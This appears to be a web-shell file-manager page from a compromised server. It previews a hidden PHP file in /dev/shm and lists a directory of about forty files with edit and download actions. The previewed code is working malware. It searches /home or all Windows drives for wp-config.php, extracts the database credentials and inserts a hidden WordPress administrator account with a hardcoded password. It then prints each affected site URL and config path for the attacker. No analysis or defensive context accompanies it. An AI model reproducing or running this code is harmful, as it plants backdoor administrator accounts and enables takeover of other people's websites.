PHP 8.3.31
Preview: .itm Size: 4.46 KB
//dev/shm/.itm

<?php   function scan($path) {     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) {             $p = $path . DIRECTORY_SEPARATOR . $file;             if ($file != '.' && $file != '..') {                 if (is_link($p)) {                     continue;                 } elseif (is_dir($p)) {                     scan($p);                 } elseif ($file === 'wp-config.php') {                     inject($p);                 }             }         }     } } function inject($p) {     $user_login = 'adm1n';     $user_password = 'IepODaTDHR';     $user_email = 'adm1n@wordpress.com';     $data = @file_get_contents($p);     if ($data === false) {         return;     }     $pattern = "/table_prefix\s*=\s*'([^']*)';/i";     if (preg_match($pattern, $data, $matches)) {         $table_prefix = $matches[1];     } else {         $table_prefix = 'wp_';     }     $lines = array_map('rtrim', file($p));     $conf = [];     foreach ($lines as $line) {         if (preg_match('/define\s*\(\s*[\'"]\s*(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\s*[\'"]\s*,/', $line, $matches)) {             $conf[$matches[1]] = parse_define_value($line);         }     }     if (isset($conf['DB_HOST']) && isset($conf['DB_USER']) && isset($conf['DB_PASSWORD']) && isset($conf['DB_NAME'])) {         $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']);         if ($mysqli->connect_errno) {             return;         }         $user_login = $mysqli->real_escape_string($user_login);         $user_password = $mysqli->real_escape_string($user_password);         $user_email = $mysqli->real_escape_string($user_email);         if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) {             if ($result->num_rows > 0) {                 $result->close();                 $mysqli->close();                 return;             }             $result->close();         }         $add_user_query = "INSERT INTO `{$table_prefix}users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_status`, `display_name`) SELECT '{$user_login}', MD5('{$user_password}'), '{$user_login}', '{$user_email}', '',         (SELECT `user_registered` FROM `{$table_prefix}users` ORDER BY `ID` ASC LIMIT 1),         0, '{$user_login}' FROM DUAL WHERE NOT EXISTS (     SELECT 1 FROM `{$table_prefix}users` WHERE `user_login` = '{$user_login}' );";         if ($mysqli->query($add_user_query)) {             $add_usermeta_query1 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`)  SELECT `ID`, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;";             $add_usermeta_query2 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`)  SELECT `ID`, 'wp_user_level', '10' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;";             $mysqli->query($add_usermeta_query1);             $mysqli->query($add_usermeta_query2);         }         $site_url = false;         if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) {             $row = $result->fetch_object();             $result->close();             $site_url = $row->option_value;         }         if (!$site_url || strpos($site_url, 'http') !== 0) {             if ($result = $mysqli->query("SELECT user_url FROM {$table_prefix}users ORDER BY ID ASC LIMIT 1;")) {                 $row = $result->fetch_object();                 $result->close();                 $site_url = $row->user_url;             }         }         if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) {             if ($result->num_rows > 0) {                 echo "<f>{$site_url}@@@{$p}</f>\n";             }             $result->close();         }         $mysqli->close();     } } function parse_define_value($line) {     if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) {         return $matches[1];     }     return null; } function scanRootPaths() {     if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {         foreach (range('A', 'Z') as $driveLetter) {             $drive = $driveLetter . ':\\';             if (is_dir($drive)) {                 scan($drive);             }         }     } else {         scan('/home');     } } scanRootPaths(); die('!ended!');

Directory Contents

Dirs: 1 × Files: 40

Name Size Perms Modified Actions
lsws DIR
- drwxr-x--- 2026-06-09 23:33:27
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:32:03
Edit Download
47 B lrw-r--r-- 2026-03-24 11:55:06
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:47:44
Edit Download
52 B lrw-r--r-- 2026-05-18 14:23:11
Edit Download
54 B lrw-r--r-- 2026-05-08 14:04:17
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:39:40
Edit Download
2.44 KB lrw-r--r-- 2026-05-02 08:47:18
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:47:25
Edit Download
59 B lrw-r--r-- 2026-05-20 23:57:20
Edit Download
47 B lrw-r--r-- 2026-04-27 17:12:24
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:36:23
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:49:14
Edit Download
9.22 KB lrw-r--r-- 2026-04-03 06:15:37
Edit Download
58 B lrw-r--r-- 2026-05-08 14:19:41
Edit Download
48 B lrw-r--r-- 2026-05-21 05:18:47
Edit Download
55 B lrw-r--r-- 2026-05-09 11:32:21
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:36:03
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:44:08
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:51:13
Edit Download
57 B lrw-r--r-- 2026-05-21 13:56:31
Edit Download
4.74 KB lrw-r--r-- 2026-04-28 04:25:21
Edit Download
4.01 KB lrw-r--r-- 2026-04-30 19:29:20
Edit Download
48 B lrw-r--r-- 2026-03-31 23:40:51
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:37:30
Edit Download
60 B lrw-r--r-- 2026-05-19 13:58:53
Edit Download
55 B lrw-r--r-- 2026-05-21 06:08:40
Edit Download
53 B lrw-r--r-- 2026-04-22 01:01:32
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:49:38
Edit Download
4.38 KB lrw-r--r-- 2026-04-30 19:45:09
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:49:20
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:47:57
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:50:37
Edit Download
52 B lrw-r--r-- 2026-04-20 15:32:32
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:36:41
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:44:33
Edit Download
4.46 KB lrw-r--r-- 2026-06-09 23:44:56
Edit Download
9.22 KB lrw-r--r-- 2026-04-03 06:14:25
Edit Download
9.22 KB lrw-r--r-- 2026-04-03 06:16:38
Edit Download
49 B lrw-r--r-- 2026-05-21 06:12:01
Edit Download
14.64 KB lrw------- 2026-05-28 07:31:35
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).